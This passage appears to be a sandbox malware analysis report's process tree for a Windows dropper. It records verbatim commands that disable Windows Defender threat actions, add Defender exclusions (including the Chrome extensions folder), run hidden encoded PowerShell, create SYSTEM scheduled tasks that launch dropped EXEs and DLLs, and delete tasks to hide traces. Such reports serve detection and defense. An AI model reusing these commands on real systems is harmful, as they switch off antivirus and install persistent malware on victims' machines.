/reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                        2⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4376
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                          3⤵
                            PID:5840
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:5848
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:5868
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:5876
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:5900
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2900
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:5944
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:5628
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:6020
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:6048
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:6056
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:6132
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2248
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:5216
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:5352
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:1624
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4616
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3636
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:3124
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:5428
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:1828
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3452
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:2844
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:2868
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4664
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:5600
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:5728
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:1040
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:1840
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  PID:3424
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:5624
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:5192
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:5428
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:5300
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3964
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:5812
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4160
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:6024
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:5360
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:5276
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:3096
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4596
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3600
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4552
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:5640
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:5728
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:4620
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:5704
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:5300
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /CREATE /TN "gPwZIeNxK" /SC once /ST 08:31:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                        2⤵
                                                                                                                        • Creates scheduled task(s)
                                                                                                                        PID:1840
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /run /I /tn "gPwZIeNxK"
                                                                                                                        2⤵
                                                                                                                          PID:5824
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /DELETE /F /TN "gPwZIeNxK"
                                                                                                                          2⤵
                                                                                                                            PID:4816
                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                              3⤵
                                                                                                                                PID:3096
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 01:23:08 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\HSLzpZi.exe\" XT /ausite_idYkN 385118 /S" /V1 /F
                                                                                                                              2⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:2592
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
                                                                                                                              2⤵
                                                                                                                                PID:3008
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                              1⤵
                                                                                                                                PID:4356
                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                  2⤵
                                                                                                                                    PID:5708
                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                  c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                  1⤵
                                                                                                                                    PID:1600
                                                                                                                                  • \??\c:\windows\system32\gpscript.exe
                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                    1⤵
                                                                                                                                      PID:5008
                                                                                                                                    • C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\HSLzpZi.exe
                                                                                                                                      C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\HSLzpZi.exe XT /ausite_idYkN 385118 /S
                                                                                                                                      1⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Drops Chrome extension
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      PID:5148
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
                                                                                                                                        2⤵
                                                                                                                                          PID:1696
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                          2⤵
                                                                                                                                            PID:2128
                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                              3⤵
                                                                                                                                                PID:644
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                  4⤵
                                                                                                                                                    PID:2208
                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                      5⤵
                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                      PID:5592
                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                        6⤵
                                                                                                                                                          PID:700
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\esLwWq.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:600
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\XfqrcbH.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:6044
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /END /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1496
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3424
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\yYhPipT.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:660
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\ujeqPXU.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:5184
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\djaTnfj.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:5456
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\qWNEfgo.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:5328
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "QhciBzJOokLnyYZub" /SC once /ST 01:49:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ofqvFcNvzeRditbz\EtDKLfkE\dyYFsRB.dll\",#1 /Jfsite_idyhn 385118" /V1 /F
                                                                                                                                                      2⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:6116
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /run /I /tn "QhciBzJOokLnyYZub"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:5332
                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4704
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
